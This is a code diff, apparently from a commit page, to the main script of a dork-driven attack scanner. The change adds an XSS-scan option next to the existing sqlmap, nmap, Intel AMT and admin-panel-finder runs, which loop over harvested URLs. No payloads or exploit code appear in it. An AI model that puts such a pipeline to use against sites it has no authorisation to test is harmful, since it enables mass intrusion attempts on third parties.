@ -333,8 +337,8 @@ if __name__ == "__main__":
|
|||
|
||||
|
||||
def __run_attacks(
|
||||
url, sqlmap=False, verbose=False, nmap=False,
|
||||
intel=False, admin=False, given_path=None, auto=False, batch=False
|
||||
url, sqlmap=False, nmap=False, intel=False, xss=False,
|
||||
verbose=False, admin=False, given_path=None, auto=False, batch=False
|
||||
):
|
||||
"""
|
||||
run the attacks if any are requested
|
||||
|
|
@ -358,6 +362,8 @@ if __name__ == "__main__":
|
|||
return intel_me.intel_amt_main(url_ip_address, proxy=proxy_to_use, verbose=verbose)
|
||||
elif admin:
|
||||
main(url, show=opt.showAllConnections, verbose=verbose)
|
||||
elif xss:
|
||||
main_xss(url, verbose=verbose, proxy=proxy_to_use, agent=agent_to_use, try_all=opt.runAllXssPayloads)
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
|
|
@ -387,12 +393,15 @@ if __name__ == "__main__":
|
|||
pass
|
||||
|
||||
urls_to_use = get_latest_log_file(URL_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder:
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(url.strip(), sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch)
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
# use a file full of dorks as the queries
|
||||
elif opt.dorkFileToUse is not None:
|
||||
|
|
@ -414,12 +423,15 @@ if __name__ == "__main__":
|
|||
pass
|
||||
|
||||
urls_to_use = get_latest_log_file(URL_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder:
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(url.strip(), sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch)
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
# use a random dork as the query
|
||||
elif opt.useRandomDork:
|
||||
|
|
@ -437,13 +449,15 @@ if __name__ == "__main__":
|
|||
proxy=proxy_to_use, agent=agent_to_use
|
||||
)
|
||||
urls_to_use = get_latest_log_file(URL_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder:
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(url.strip(), sqlmap=opt.runSqliScan, nmap=opt.runPortScan,
|
||||
intel=opt.intelCheck,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch)
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
logger.exception(set_color(
|
||||
|
|
@ -476,12 +490,15 @@ if __name__ == "__main__":
|
|||
blackwidow.blackwidow_main(opt.spiderWebSite, agent=agent_to_use, proxy=proxy_to_use, verbose=opt.runInVerbose)
|
||||
|
||||
urls_to_use = get_latest_log_file(SPIDER_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder:
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(url.strip(), sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch)
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
else:
|
||||
logger.critical(set_color(
|
||||
|
|
@ -504,4 +521,4 @@ if __name__ == "__main__":
|
|||
"ran into exception '{}' exception has been saved to log file...".format(e), level=50
|
||||
))
|
||||
|
||||
shutdown()
|
||||
shutdown()
|
||||
Loading…
Reference in a new issue